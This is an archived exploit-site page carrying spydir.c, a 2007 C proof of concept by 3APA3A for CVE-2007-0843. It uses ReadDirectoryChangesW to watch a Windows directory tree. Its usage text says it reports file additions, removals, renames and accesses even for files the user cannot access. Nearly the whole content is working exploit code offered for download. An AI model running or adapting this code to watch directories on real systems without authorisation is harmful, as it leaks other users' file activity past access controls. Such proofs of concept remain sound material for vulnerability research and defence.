what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

spydir.c

spydir.c
Posted Feb 24, 2007
Authored by 3APA3A | Site securityvulns.com

Exploit that demonstrates the vulnerability in ReadDirectoryChangesW() for Microsoft Windows 2000/XP/2003/Vista.

tags | exploit
systems | windows
advisories | CVE-2007-0843
SHA-256 | 4478745e135e06387cd47d9eeaa660d45d71036448847dcdbc5d5e4abacc8449

spydir.c

Change Mirror Download
/*
Monitors directory changes
(c) 2006-2007 Vladimir Dubrovin, 3APA3A
http://securityvulns.com/
http://securityvulns.ru/
*/

#include <windows.h>
#include <stdio.h>
#include <string.h>


int main(int argc, char *argv[]){
HANDLE hDir;

char buf[1024];
FILE_NOTIFY_INFORMATION * fn;
int read;
WCHAR * action = NULL;

if(argc != 2) {
printf(
"Usage: %s <directory_path>\n"
" Monitor directory changes with all subdirectories\n"
" For any files, including ones you have no access\n"
" (as on January, 2007)\n"
"(c) Vladimir Dubrovin, 3APA3A\n"
" http://securityvulns.com\n"
" http://securityvulns.ru\n"
"This approach is not reliable and should not be used for audit and another critical operations.\n",
argv[0]);
return 1;
}

CreateDirectory(argv[1], 0);
hDir = CreateFile(
argv[1],
FILE_LIST_DIRECTORY,
FILE_SHARE_READ|FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL
);
if(hDir == INVALID_HANDLE_VALUE){
fprintf(stdout, "Failed to open dir\n");
return 2;
}
for(;;){
if(!ReadDirectoryChangesW(
hDir,
buf,
1022,
1,
FILE_NOTIFY_CHANGE_DIR_NAME | FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_LAST_ACCESS |
FILE_NOTIFY_CHANGE_ATTRIBUTES | FILE_NOTIFY_CHANGE_SIZE | FILE_NOTIFY_CHANGE_LAST_WRITE |
FILE_NOTIFY_CHANGE_CREATION | FILE_NOTIFY_CHANGE_SECURITY
,
(DWORD *)&read,
NULL,
NULL
)) {
fprintf(stderr, "Failed to read directory changes\n");
break;
}
for (fn = (FILE_NOTIFY_INFORMATION *)buf; ;){
fn->FileName[fn->FileNameLength/2] = 0;
switch(fn->Action){
case FILE_ACTION_ADDED:
action = L"added";
break;
case FILE_ACTION_REMOVED:
action = L"removed";
break;
case FILE_ACTION_MODIFIED:
action = L"accessed/modified";
break;
case FILE_ACTION_RENAMED_OLD_NAME:
action = L"renamed (old name)";
break;
case FILE_ACTION_RENAMED_NEW_NAME:
action = L"renamed (new name)";
break;
default:
action = L"(unknown)";
}
wprintf(L"File %s: %s\n", action, fn->FileName);
if(!fn->NextEntryOffset) break;
fn = (FILE_NOTIFY_INFORMATION *)(((char *)fn) + fn->NextEntryOffset);
}
}
return 0;

}
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    5 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close